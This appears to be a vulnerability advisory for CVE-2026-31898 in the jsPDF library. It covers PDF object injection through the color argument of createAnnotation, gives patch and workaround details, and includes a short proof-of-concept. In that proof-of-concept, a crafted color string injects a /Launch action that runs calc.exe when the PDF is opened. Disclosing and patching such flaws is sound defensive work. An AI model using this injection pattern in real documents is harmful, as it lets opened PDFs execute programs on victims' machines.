Advisory

GHSA-7x6v-j9x4-qf24

Also known as: CVE-2026-31898

Summary

jsPDF has a PDF Object Injection via FreeText color

Details

Impact

User control of arguments of the createAnnotation method allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..

  • createAnnotation: color parameter

Example attack vector:

import { jsPDF } from 'jspdf'

const doc = new jsPDF();

const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';

doc.createAnnotation({
  type: 'freetext',
  bounds: { x: 10, y: 10, w: 120, h: 20 },
  contents: 'hello',
  color: payload
});

doc.save('test.pdf');

Patches

The vulnerability has been fixed in [email protected].

Workarounds
Sanitize user input before passing it to the vulnerable API members.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-03-17 17:07 UTC
Modified
2026-09-10 03:50 UTC

Affected packages and fixes

jspdf

npm · All systems

Affected

  • introduced 0, fixed 4.2.1 (semver)

Fixed versions

4.2.1

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences